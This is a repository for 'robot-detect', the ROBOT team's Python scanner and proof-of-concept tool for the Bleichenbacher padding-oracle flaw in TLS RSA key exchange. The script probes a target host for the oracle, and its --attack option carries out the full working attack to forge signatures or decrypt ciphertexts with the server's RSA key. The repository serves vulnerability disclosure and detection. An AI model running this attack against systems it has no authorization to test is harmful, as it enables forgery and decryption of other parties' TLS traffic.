├── LICENSE ├── README.md ├── robot-detect └── setup.py /LICENSE: -------------------------------------------------------------------------------- 1 | Creative Commons Legal Code 2 | 3 | CC0 1.0 Universal 4 | 5 | CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE 6 | LEGAL SERVICES. DISTRIBUTION OF THIS DOCUMENT DOES NOT CREATE AN 7 | ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS 8 | INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES 9 | REGARDING THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS 10 | PROVIDED HEREUNDER, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM 11 | THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS PROVIDED 12 | HEREUNDER. 13 | 14 | Statement of Purpose 15 | 16 | The laws of most jurisdictions throughout the world automatically confer 17 | exclusive Copyright and Related Rights (defined below) upon the creator 18 | and subsequent owner(s) (each and all, an "owner") of an original work of 19 | authorship and/or a database (each, a "Work"). 20 | 21 | Certain owners wish to permanently relinquish those rights to a Work for 22 | the purpose of contributing to a commons of creative, cultural and 23 | scientific works ("Commons") that the public can reliably and without fear 24 | of later claims of infringement build upon, modify, incorporate in other 25 | works, reuse and redistribute as freely as possible in any form whatsoever 26 | and for any purposes, including without limitation commercial purposes. 27 | These owners may contribute to the Commons to promote the ideal of a free 28 | culture and the further production of creative, cultural and scientific 29 | works, or to gain reputation or greater distribution for their Work in 30 | part through the use and efforts of others. 31 | 32 | For these and/or other purposes and motivations, and without any 33 | expectation of additional consideration or compensation, the person 34 | associating CC0 with a Work (the "Affirmer"), to the extent that he or she 35 | is an owner of Copyright and Related Rights in the Work, voluntarily 36 | elects to apply CC0 to the Work and publicly distribute the Work under its 37 | terms, with knowledge of his or her Copyright and Related Rights in the 38 | Work and the meaning and intended legal effect of CC0 on those rights. 39 | 40 | 1. Copyright and Related Rights. A Work made available under CC0 may be 41 | protected by copyright and related or neighboring rights ("Copyright and 42 | Related Rights"). Copyright and Related Rights include, but are not 43 | limited to, the following: 44 | 45 | i. the right to reproduce, adapt, distribute, perform, display, 46 | communicate, and translate a Work; 47 | ii. moral rights retained by the original author(s) and/or performer(s); 48 | iii. publicity and privacy rights pertaining to a person's image or 49 | likeness depicted in a Work; 50 | iv. rights protecting against unfair competition in regards to a Work, 51 | subject to the limitations in paragraph 4(a), below; 52 | v. rights protecting the extraction, dissemination, use and reuse of data 53 | in a Work; 54 | vi. database rights (such as those arising under Directive 96/9/EC of the 55 | European Parliament and of the Council of 11 March 1996 on the legal 56 | protection of databases, and under any national implementation 57 | thereof, including any amended or successor version of such 58 | directive); and 59 | vii. other similar, equivalent or corresponding rights throughout the 60 | world based on applicable law or treaty, and any national 61 | implementations thereof. 62 | 63 | 2. Waiver. To the greatest extent permitted by, but not in contravention 64 | of, applicable law, Affirmer hereby overtly, fully, permanently, 65 | irrevocably and unconditionally waives, abandons, and surrenders all of 66 | Affirmer's Copyright and Related Rights and associated claims and causes 67 | of action, whether now known or unknown (including existing as well as 68 | future claims and causes of action), in the Work (i) in all territories 69 | worldwide, (ii) for the maximum duration provided by applicable law or 70 | treaty (including future time extensions), (iii) in any current or future 71 | medium and for any number of copies, and (iv) for any purpose whatsoever, 72 | including without limitation commercial, advertising or promotional 73 | purposes (the "Waiver"). Affirmer makes the Waiver for the benefit of each 74 | member of the public at large and to the detriment of Affirmer's heirs and 75 | successors, fully intending that such Waiver shall not be subject to 76 | revocation, rescission, cancellation, termination, or any other legal or 77 | equitable action to disrupt the quiet enjoyment of the Work by the public 78 | as contemplated by Affirmer's express Statement of Purpose. 79 | 80 | 3. Public License Fallback. Should any part of the Waiver for any reason 81 | be judged legally invalid or ineffective under applicable law, then the 82 | Waiver shall be preserved to the maximum extent permitted taking into 83 | account Affirmer's express Statement of Purpose. In addition, to the 84 | extent the Waiver is so judged Affirmer hereby grants to each affected 85 | person a royalty-free, non transferable, non sublicensable, non exclusive, 86 | irrevocable and unconditional license to exercise Affirmer's Copyright and 87 | Related Rights in the Work (i) in all territories worldwide, (ii) for the 88 | maximum duration provided by applicable law or treaty (including future 89 | time extensions), (iii) in any current or future medium and for any number 90 | of copies, and (iv) for any purpose whatsoever, including without 91 | limitation commercial, advertising or promotional purposes (the 92 | "License"). The License shall be deemed effective as of the date CC0 was 93 | applied by Affirmer to the Work. Should any part of the License for any 94 | reason be judged legally invalid or ineffective under applicable law, such 95 | partial invalidity or ineffectiveness shall not invalidate the remainder 96 | of the License, and in such case Affirmer hereby affirms that he or she 97 | will not (i) exercise any of his or her remaining Copyright and Related 98 | Rights in the Work or (ii) assert any associated claims and causes of 99 | action with respect to the Work, in either case contrary to Affirmer's 100 | express Statement of Purpose. 101 | 102 | 4. Limitations and Disclaimers. 103 | 104 | a. No trademark or patent rights held by Affirmer are waived, abandoned, 105 | surrendered, licensed or otherwise affected by this document. 106 | b. Affirmer offers the Work as-is and makes no representations or 107 | warranties of any kind concerning the Work, express, implied, 108 | statutory or otherwise, including without limitation warranties of 109 | title, merchantability, fitness for a particular purpose, non 110 | infringement, or the absence of latent or other defects, accuracy, or 111 | the present or absence of errors, whether or not discoverable, all to 112 | the greatest extent permissible under applicable law. 113 | c. Affirmer disclaims responsibility for clearing rights of other persons 114 | that may apply to the Work or any use thereof, including without 115 | limitation any person's Copyright and Related Rights in the Work. 116 | Further, Affirmer disclaims responsibility for obtaining any necessary 117 | consents, permissions or other rights required for any use of the 118 | Work. 119 | d. Affirmer understands and acknowledges that Creative Commons is not a 120 | party to this document and has no duty or obligation with respect to 121 | this CC0 or use of the Work. 122 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # robot-detect 2 | 3 | Proof of concept attack and detection for ROBOT (Return Of 4 | Bleichenbacher's Oracle Threat). 5 | 6 | More Info: 7 | * https://robotattack.org/ 8 | 9 | Dependencies 10 | ============ 11 | 12 | This script needs Python 3, the gmpy2 and the cryptography library. 13 | 14 | Install with pip 15 | ================ 16 | 17 | To install with the needed dependencies run: 18 | 19 | `pip install robot-detect` 20 | 21 | License 22 | ======= 23 | 24 | This work is licensed as CC0 (public domain). 25 | 26 | Authors 27 | ======= 28 | 29 | The attack proof of concept code was provided by Tibor Jager. 30 | 31 | The detection was written by the ROBOT team: 32 | 33 | Hanno Böck, Juraj Somorovsky, Craig Young 34 | -------------------------------------------------------------------------------- /robot-detect: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # Detection and proof of concept for the ROBOT attack 4 | # https://robotattack.org/ 5 | # 6 | # This code is licensed as CC0. 7 | 8 | # standard modules 9 | import math 10 | import time 11 | import sys 12 | import socket 13 | import os 14 | import argparse 15 | import ssl 16 | import gmpy2 17 | from cryptography import x509 18 | from cryptography.hazmat.backends import default_backend 19 | 20 | # This uses all TLS_RSA ciphers with AES and 3DES 21 | ch_def = bytearray.fromhex("16030100610100005d03034f20d66cba6399e552fd735d75feb0eeae2ea2ebb357c9004e21d0c2574f837a000010009d003d0035009c003c002f000a00ff01000024000d0020001e060106020603050105020503040104020403030103020303020102020203") 22 | 23 | # This uses only TLS_RSA_WITH_AES_128_CBC_SHA (0x002f) 24 | ch_cbc = bytearray.fromhex("1603010055010000510303ecce5dab6f55e5ecf9cccd985583e94df5ed652a07b1f5c7d9ba7310770adbcb000004002f00ff01000024000d0020001e060106020603050105020503040104020403030103020303020102020203") 25 | 26 | # This uses only TLS-RSA-WITH-AES-128-GCM-SHA256 (0x009c) 27 | ch_gcm = bytearray.fromhex("1603010055010000510303ecce5dab6f55e5ecf9cccd985583e94df5ed652a07b1f5c7d9ba7310770adbcb000004009c00ff01000024000d0020001e060106020603050105020503040104020403030103020303020102020203") 28 | 29 | ccs = bytearray.fromhex("000101") 30 | enc = bytearray.fromhex("005091a3b6aaa2b64d126e5583b04c113259c4efa48e40a19b8e5f2542c3b1d30f8d80b7582b72f08b21dfcbff09d4b281676a0fb40d48c20c4f388617ff5c00808a96fbfe9bb6cc631101a6ba6b6bc696f0") 31 | 32 | MSG_FASTOPEN = 0x20000000 33 | # set to true if you want to generate a signature or if the first ciphertext is not PKCS#1 v1.5 conform 34 | EXECUTE_BLINDING = True 35 | 36 | 37 | def get_rsa_from_server(server, port): 38 | try: 39 | ctx = ssl.create_default_context() 40 | ctx.check_hostname = False 41 | ctx.verify_mode = ssl.CERT_NONE 42 | ctx.set_ciphers("RSA") 43 | raw_socket = socket.socket() 44 | raw_socket.settimeout(timeout) 45 | s = ctx.wrap_socket(raw_socket) 46 | s.connect((server, port)) 47 | cert_raw = s.getpeercert(binary_form=True) 48 | cert_dec = x509.load_der_x509_certificate(cert_raw, default_backend()) 49 | s.close() 50 | return cert_dec.public_key().public_numbers().n, cert_dec.public_key().public_numbers().e 51 | except ssl.SSLError as e: 52 | if not args.quiet: 53 | print("Cannot connect to server: %s" % e) 54 | print("Server does not seem to allow connections with TLS_RSA (this is ideal).") 55 | if args.csv: 56 | # TODO: We could add an extra check that the server speaks TLS without RSA 57 | print("NORSA,%s,%s,,,,,,,," % (args.host, ip)) 58 | s.close() 59 | quit() 60 | except (ConnectionRefusedError, socket.timeout) as e: 61 | if not args.quiet: 62 | print("Cannot connect to server: %s" % e) 63 | print("There seems to be no TLS on this host/port.") 64 | if args.csv: 65 | print("NOTLS,%s,%s,,,,,,,," % (args.host, ip)) 66 | quit() 67 | 68 | 69 | def oracle(pms, messageflow=False): 70 | global cke_version 71 | try: 72 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 73 | s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) 74 | if not enable_fastopen: 75 | s.connect((ip, args.port)) 76 | s.sendall(ch) 77 | else: 78 | s.sendto(ch, MSG_FASTOPEN, (ip, args.port)) 79 | s.settimeout(timeout) 80 | buf = bytearray.fromhex("") 81 | i = 0 82 | bend = 0 83 | while True: 84 | # we try to read twice 85 | while i + 5 > bend: 86 | buf += s.recv(4096) 87 | bend = len(buf) 88 | # this is the record size 89 | psize = buf[i + 3] * 256 + buf[i + 4] 90 | # if the size is 2, we received an alert 91 | if (psize == 2): 92 | s.close() 93 | return ("The server sends an Alert after ClientHello") 94 | # try to read further record data 95 | while i + psize + 5 > bend: 96 | buf += s.recv(4096) 97 | bend = len(buf) 98 | # check whether we have already received a ClientHelloDone 99 | if (buf[i + 5] == 0x0e) or (buf[bend - 4] == 0x0e): 100 | break 101 | i += psize + 5 102 | cke_version = buf[9:11] 103 | s.send(bytearray(b'\x16') + cke_version) 104 | s.send(cke_2nd_prefix) 105 | s.send(pms) 106 | if not messageflow: 107 | s.send(bytearray(b'\x14') + cke_version + ccs) 108 | s.send(bytearray(b'\x16') + cke_version + enc) 109 | try: 110 | alert = s.recv(4096) 111 | s.close() 112 | if len(alert) == 0: 113 | return ("No data received from server") 114 | if alert[0] == 0x15: 115 | if len(alert) < 7: 116 | return ("TLS alert was truncated (%s)" % (repr(alert))) 117 | return ("TLS alert %i of length %i" % (alert[6], len(alert))) 118 | else: 119 | return "Received something other than an alert (%s)" % (alert[0:10]) 120 | except ConnectionResetError as e: 121 | s.close() 122 | return "ConnectionResetError" 123 | except socket.timeout: 124 | s.close() 125 | return ("Timeout waiting for alert") 126 | s.close() 127 | except Exception as e: 128 | # exc_type, exc_obj, exc_tb = sys.exc_info() 129 | # print("line %i", exc_tb.tb_lineno) 130 | # print ("Exception received: " + str(e)) 131 | s.close() 132 | return str(e) 133 | 134 | 135 | def BleichenbacherOracle(cc): 136 | global count 137 | global countvalid 138 | count = count + 1 139 | if count % 1000 == 0: 140 | print(count, "oracle queries") 141 | tmp = hex(cc).rstrip("L").lstrip("0x").rjust(modulus_bits // 4, '0') 142 | pms = bytearray.fromhex(tmp) 143 | o = oracle(pms, messageflow=flow) 144 | if o == oracle_good: 145 | # Query the oracle again to make sure it is real... 146 | o = oracle(pms, messageflow=flow) 147 | if o == oracle_good: 148 | countvalid += 1 149 | return True 150 | else: 151 | print("Inconsistent result from oracle.") 152 | return False 153 | else: 154 | return False 155 | 156 | 157 | parser = argparse.ArgumentParser(description="Bleichenbacher attack") 158 | parser.add_argument("host", help="Target host") 159 | group = parser.add_mutually_exclusive_group() 160 | group.add_argument("-r", "--raw", help="Message to sign or decrypt (raw hex bytes)") 161 | group.add_argument("-m", "--message", help="Message to sign (text)") 162 | parser.add_argument("s0", nargs="?", default="1", help="Start for s0 value (default 1)") 163 | parser.add_argument("limit", nargs="?", default="-1", help="Start for limit value (default -1)") 164 | parser.add_argument("-a", "--attack", help="Try to attack if vulnerable", action="store_true") 165 | parser.add_argument("-p", "--port", metavar='int', default=443, help="TCP port") 166 | parser.add_argument("-t", "--timeout", default=5, help="Timeout") 167 | parser.add_argument("-q", "--quiet", help="Quiet", action="store_true") 168 | groupcipher = parser.add_mutually_exclusive_group() 169 | groupcipher.add_argument("--gcm", help="Use only GCM/AES256.", action="store_true") 170 | groupcipher.add_argument("--cbc", help="Use only CBC/AES128.", action="store_true") 171 | parser.add_argument("--csv", help="Output CSV format", action="store_true") 172 | args = parser.parse_args() 173 | 174 | args.port = int(args.port) 175 | timeout = float(args.timeout) 176 | 177 | if args.gcm: 178 | ch = ch_gcm 179 | elif args.cbc: 180 | ch = ch_cbc 181 | else: 182 | ch = ch_def 183 | 184 | # We only enable TCP fast open if the Linux proc interface exists 185 | enable_fastopen = os.path.exists("/proc/sys/net/ipv4/tcp_fastopen") 186 | 187 | try: 188 | ip = socket.gethostbyname(args.host) 189 | except socket.gaierror as e: 190 | if not args.quiet: 191 | print("Cannot resolve host: %s" % e) 192 | if args.csv: 193 | print("NODNS,%s,,,,,,,,," % (args.host)) 194 | 195 | quit() 196 | 197 | 198 | if not args.quiet: 199 | print("Scanning host %s ip %s port %i" % (args.host, ip, args.port)) 200 | 201 | N, e = get_rsa_from_server(ip, args.port) 202 | modulus_bits = int(math.ceil(math.log(N, 2))) 203 | modulus_bytes = (modulus_bits + 7) // 8 204 | if not args.quiet: 205 | print("RSA N: %s" % hex(N)) 206 | print("RSA e: %s" % hex(e)) 207 | print("Modulus size: %i bits, %i bytes" % (modulus_bits, modulus_bytes)) 208 | 209 | cke_2nd_prefix = bytearray.fromhex("{0:0{1}x}".format(modulus_bytes + 6, 4) + "10" + "{0:0{1}x}".format(modulus_bytes + 2, 6) + "{0:0{1}x}".format(modulus_bytes, 4)) 210 | # pad_len is length in hex chars, so bytelen * 2 211 | pad_len = (modulus_bytes - 48 - 3) * 2 212 | rnd_pad = ("abcd" * (pad_len // 2 + 1))[:pad_len] 213 | 214 | rnd_pms = "aa112233445566778899112233445566778899112233445566778899112233445566778899112233445566778899" 215 | pms_good_in = int("0002" + rnd_pad + "00" + "0303" + rnd_pms, 16) 216 | # wrong first two bytes 217 | pms_bad_in1 = int("4117" + rnd_pad + "00" + "0303" + rnd_pms, 16) 218 | # 0x00 on a wrong position, also trigger older JSSE bug 219 | pms_bad_in2 = int("0002" + rnd_pad + "11" + rnd_pms + "0011", 16) 220 | # no 0x00 in the middle 221 | pms_bad_in3 = int("0002" + rnd_pad + "11" + "1111" + rnd_pms, 16) 222 | # wrong version number (according to Klima / Pokorny / Rosa paper) 223 | pms_bad_in4 = int("0002" + rnd_pad + "00" + "0202" + rnd_pms, 16) 224 | 225 | pms_good = int(gmpy2.powmod(pms_good_in, e, N)).to_bytes(modulus_bytes, byteorder="big") 226 | pms_bad1 = int(gmpy2.powmod(pms_bad_in1, e, N)).to_bytes(modulus_bytes, byteorder="big") 227 | pms_bad2 = int(gmpy2.powmod(pms_bad_in2, e, N)).to_bytes(modulus_bytes, byteorder="big") 228 | pms_bad3 = int(gmpy2.powmod(pms_bad_in3, e, N)).to_bytes(modulus_bytes, byteorder="big") 229 | pms_bad4 = int(gmpy2.powmod(pms_bad_in4, e, N)).to_bytes(modulus_bytes, byteorder="big") 230 | 231 | 232 | oracle_good = oracle(pms_good, messageflow=False) 233 | oracle_bad1 = oracle(pms_bad1, messageflow=False) 234 | oracle_bad2 = oracle(pms_bad2, messageflow=False) 235 | oracle_bad3 = oracle(pms_bad3, messageflow=False) 236 | oracle_bad4 = oracle(pms_bad4, messageflow=False) 237 | 238 | if (oracle_good == oracle_bad1 == oracle_bad2 == oracle_bad3 == oracle_bad4): 239 | if not args.quiet: 240 | print("Identical results (%s), retrying with changed messageflow" % oracle_good) 241 | oracle_good = oracle(pms_good, messageflow=True) 242 | oracle_bad1 = oracle(pms_bad1, messageflow=True) 243 | oracle_bad2 = oracle(pms_bad2, messageflow=True) 244 | oracle_bad3 = oracle(pms_bad3, messageflow=True) 245 | oracle_bad4 = oracle(pms_bad4, messageflow=True) 246 | if (oracle_good == oracle_bad1 == oracle_bad2 == oracle_bad3 == oracle_bad4): 247 | if not args.quiet: 248 | print("Identical results (%s), no working oracle found" % oracle_good) 249 | print("NOT VULNERABLE!") 250 | if args.csv: 251 | print("SAFE,%s,%s,,,,%s,%s,%s,%s,%s" % (args.host, ip, oracle_good, oracle_bad1, oracle_bad2, oracle_bad3, oracle_bad4)) 252 | sys.exit(1) 253 | else: 254 | flow = True 255 | else: 256 | flow = False 257 | 258 | # Re-checking all oracles to avoid unreliable results 259 | oracle_good_verify = oracle(pms_good, messageflow=flow) 260 | oracle_bad_verify1 = oracle(pms_bad1, messageflow=flow) 261 | oracle_bad_verify2 = oracle(pms_bad2, messageflow=flow) 262 | oracle_bad_verify3 = oracle(pms_bad3, messageflow=flow) 263 | oracle_bad_verify4 = oracle(pms_bad4, messageflow=flow) 264 | 265 | if (oracle_good != oracle_good_verify) or (oracle_bad1 != oracle_bad_verify1) or (oracle_bad2 != oracle_bad_verify2) or (oracle_bad3 != oracle_bad_verify3) or (oracle_bad4 != oracle_bad_verify4): 266 | if not args.quiet: 267 | print("Getting inconsistent results, aborting.") 268 | if args.csv: 269 | print("INCONSISTENT,%s,%s,,,,%s,%s,%s,%s,%s" % (args.host, ip, oracle_good, oracle_bad1, oracle_bad2, oracle_bad3, oracle_bad4)) 270 | quit() 271 | 272 | # If the response to the invalid PKCS#1 request (oracle_bad1) is equal to both 273 | # requests starting with 0002, we have a weak oracle. This is because the only 274 | # case where we can distinguish valid from invalid requests is when we send 275 | # correctly formatted PKCS#1 message with 0x00 on a correct position. This 276 | # makes our oracle weak 277 | if (oracle_bad1 == oracle_bad2 == oracle_bad3): 278 | oracle_strength = "weak" 279 | if not args.quiet: 280 | print("The oracle is weak, the attack would take too long") 281 | else: 282 | oracle_strength = "strong" 283 | if not args.quiet: 284 | print("The oracle is strong, real attack is possible") 285 | 286 | if flow: 287 | flowt = "shortened" 288 | else: 289 | flowt = "standard" 290 | 291 | if cke_version[0] == 3 and cke_version[1] == 0: 292 | tlsver = "SSLv3" 293 | elif cke_version[0] == 3 and cke_version[1] == 1: 294 | tlsver = "TLSv1.0" 295 | elif cke_version[0] == 3 and cke_version[1] == 2: 296 | tlsver = "TLSv1.1" 297 | elif cke_version[0] == 3 and cke_version[1] == 3: 298 | tlsver = "TLSv1.2" 299 | else: 300 | tlsver = "TLS raw version %i/%i" % (cke_version[0], cke_version[1]) 301 | 302 | if args.csv: 303 | print("VULNERABLE,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s" % (args.host, ip, tlsver, oracle_strength, flowt, oracle_good, oracle_bad1, oracle_bad2, oracle_bad3, oracle_bad4)) 304 | else: 305 | print("VULNERABLE! Oracle (%s) found on %s/%s, %s, %s message flow: %s/%s (%s / %s / %s)" % (oracle_strength, args.host, ip, tlsver, flowt, oracle_good, oracle_bad1, oracle_bad2, oracle_bad3, oracle_bad4)) 306 | 307 | if not args.quiet: 308 | print("Result of good request: %s" % oracle_good) 309 | print("Result of bad request 1 (wrong first bytes): %s" % oracle_bad1) 310 | print("Result of bad request 2 (wrong 0x00 position): %s" % oracle_bad2) 311 | print("Result of bad request 3 (missing 0x00): %s" % oracle_bad3) 312 | print("Result of bad request 4 (bad TLS version): %s" % oracle_bad4) 313 | 314 | # Only continue if we want to attack 315 | if not args.attack: 316 | sys.exit(0) 317 | 318 | 319 | B = int("0001" + "00" * (modulus_bytes - 2), 16) 320 | 321 | if args.raw: 322 | C = int(args.raw, 16) 323 | else: 324 | if not args.message: 325 | msg = "This message was signed with a Bleichenbacher oracle." 326 | print('No message given, will sign "This message was signed with a Bleichenbacher oracle."') 327 | else: 328 | msg = args.message 329 | C = int("0001" + "ff" * (modulus_bytes - len(msg) - 3) + "00" + "".join("{:02x}".format(ord(c)) for c in msg), 16) 330 | 331 | 332 | ################################################################################ 333 | # define Bleichenbacher Oracle 334 | count = 0 335 | countvalid = 0 336 | 337 | print("Using the following ciphertext: ", hex(C)) 338 | 339 | starttime = time.time() 340 | 341 | a = int(2 * B) 342 | b = int(3 * B - 1) 343 | 344 | s0 = int(args.s0) 345 | limit = int(args.limit) 346 | c0 = C 347 | # Step 1: Blinding 348 | print("Searching for the first valid ciphertext starting %i" % s0) 349 | if (EXECUTE_BLINDING): 350 | while not BleichenbacherOracle(c0): 351 | s0 = s0 + 1 352 | c0 = (int(gmpy2.powmod(s0, e, N)) * C) % N 353 | if (limit != -1) and s0 > limit: 354 | quit() 355 | print(" -> Found s0: ", s0) 356 | 357 | 358 | M = set() 359 | M.add((a, b)) 360 | Mnew = set() 361 | Mnext = set() 362 | previntervalsize = 0 363 | i = 1 364 | while True: 365 | 366 | # find pairs r,s such that m*s % N = m*s-r*N is PKCS conforming 367 | # 2.a) 368 | if i == 1: 369 | s = N // (3 * B) 370 | cc = (int(gmpy2.powmod(s, e, N)) * c0) % N 371 | while not BleichenbacherOracle(cc): 372 | s += 1 373 | cc = (int(gmpy2.powmod(s, e, N)) * c0) % N 374 | 375 | # 2.b) 376 | if not i == 1 and len(M) >= 2: 377 | s += 1 378 | cc = (int(gmpy2.powmod(s, e, N)) * c0) % N 379 | while not BleichenbacherOracle(cc): 380 | s += 1 381 | cc = (int(gmpy2.powmod(s, e, N)) * c0) % N 382 | 383 | # 2.c) 384 | if not i == 1 and len(M) == 1: 385 | a, b = M.pop() 386 | M.add((a, b)) 387 | r = 2 * (b * s - 2 * B) // N 388 | s = -(-(2 * B + r * N // b)) 389 | cc = (int(gmpy2.powmod(s, e, N)) * c0) % N 390 | while not BleichenbacherOracle(cc): 391 | s += 1 392 | if s > ((3 * B + r * N) // a): 393 | r += 1 394 | s = -(-(2 * B + r * N) // b) 395 | cc = (int(gmpy2.powmod(s, e, N)) * c0) % N 396 | 397 | # compute all possible r, depending on the known bounds on m. 398 | # Use that 2*B+r*N <= ms <= 3*B-1+r*N 399 | # is equivalent to (a*s-3*B-1)/N <= r <= (b*s-2*B)/N 400 | # 3. 401 | for MM in M: 402 | a, b = MM 403 | rmax = (b * s - 2 * B) // N 404 | rmin = -(-(a * s - 3 * B - 1) // N) 405 | # for all possible pairs (s,r) we obtain bounds 406 | # (2*B+r*N)/s) <= m <= (3*B+1+r*N)/s) on m. 407 | # Add bounds only if they make sense, i.e., if a < b. 408 | for r in range(rmin, rmax + 1): 409 | anew = (2 * B + r * N) // s 410 | bnew = -(-(3 * B + 1 + r * N) // s) 411 | if anew < bnew: 412 | Mnew.add((anew, bnew)) 413 | 414 | # Keep only intervals which are compatible with previous intervals 415 | Mnext.clear() 416 | for MMnew in Mnew: 417 | anew, bnew = MMnew 418 | for MM in M: 419 | a, b = MM 420 | if (bnew <= b and bnew >= a) or (anew >= a and anew <= b) or (anew >= a and bnew <= b and anew <= bnew) or (anew <= a and bnew >= b): 421 | Mnext.add((max([a, anew]), min([b, bnew]))) 422 | 423 | M.clear() 424 | Mnew.clear() 425 | M |= Mnext 426 | 427 | if len(M) == 1: 428 | a, b = M.pop() 429 | M.add((a, b)) 430 | intervalsize = int(math.ceil(math.log(b - a, 2))) 431 | if not intervalsize == previntervalsize: 432 | previntervalsize = intervalsize 433 | print(count, "oracle queries, Interval size:", intervalsize, "bit.") 434 | if intervalsize < 10: 435 | break 436 | 437 | i += 1 438 | 439 | print 440 | print("Starting exhaustive search on remaining interval") 441 | 442 | print("min: ", hex(a)) 443 | print("max: ", hex(b)) 444 | 445 | while not c0 == int(gmpy2.powmod(a, e, N)): 446 | a += 1 447 | 448 | print("C: ", hex(C)) 449 | print("result: ", hex(a)) 450 | 451 | if s0 != 1: 452 | x = int(gmpy2.invert(s0, N)) 453 | res = (x * a) % N 454 | print("result after unblinding: ", hex(res)) 455 | 456 | stoptime = time.time() 457 | print("Time elapsed:", stoptime - starttime, "seconds (=", (stoptime - starttime) / 60, "minutes)") 458 | print("Modulus size:", int(math.ceil(math.log(N, 2))), "bit. About", (stoptime - starttime) / math.ceil(math.log(N, 2)), "seconds per bit.") 459 | print(count, "oracle queries performed,", countvalid, "valid ciphertexts.") 460 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | from setuptools import setup 4 | 5 | 6 | package_name = 'robot-detect' 7 | 8 | readme = """ 9 | robot-detect 10 | ============ 11 | 12 | Tool to detect and exploit the ROBOT vulnerability (Return of 13 | Bleichenbacher's Oracle Threat). 14 | 15 | More Info: 16 | 17 | https://robotattack.org/ 18 | """ 19 | 20 | VERSION = 0.3 21 | 22 | setup( 23 | name=package_name, 24 | version=VERSION, 25 | description="Detection for ROBOT vulnerability", 26 | long_description=readme, 27 | author="Hanno Böck, Juraj Somorovsky, Craig Young, Tibor Jager", 28 | author_email='hanno@hboeck.de', 29 | url='https://www.robotattack.org', 30 | packages=[], 31 | scripts=['robot-detect'], 32 | python_requires='>=3', 33 | install_requires=[ 34 | 'gmpy2', 35 | 'cryptography' 36 | ], 37 | license="CC0", 38 | zip_safe=True, 39 | keywords=('tls', 'robot', 'security', 'vulnerability'), 40 | classifiers=[ 41 | 'Development Status :: 4 - Beta', 42 | 'Intended Audience :: System Administrators', 43 | 'License :: CC0 1.0 Universal (CC0 1.0) Public Domain Dedication', 44 | 'Natural Language :: English', 45 | 'Programming Language :: Python :: 3', 46 | 'Programming Language :: Python :: 3.1', 47 | 'Programming Language :: Python :: 3.2', 48 | 'Programming Language :: Python :: 3.3', 49 | 'Programming Language :: Python :: 3.4', 50 | 'Programming Language :: Python :: 3.5', 51 | 'Programming Language :: Python :: 3.6', 52 | ], 53 | ) 54 | --------------------------------------------------------------------------------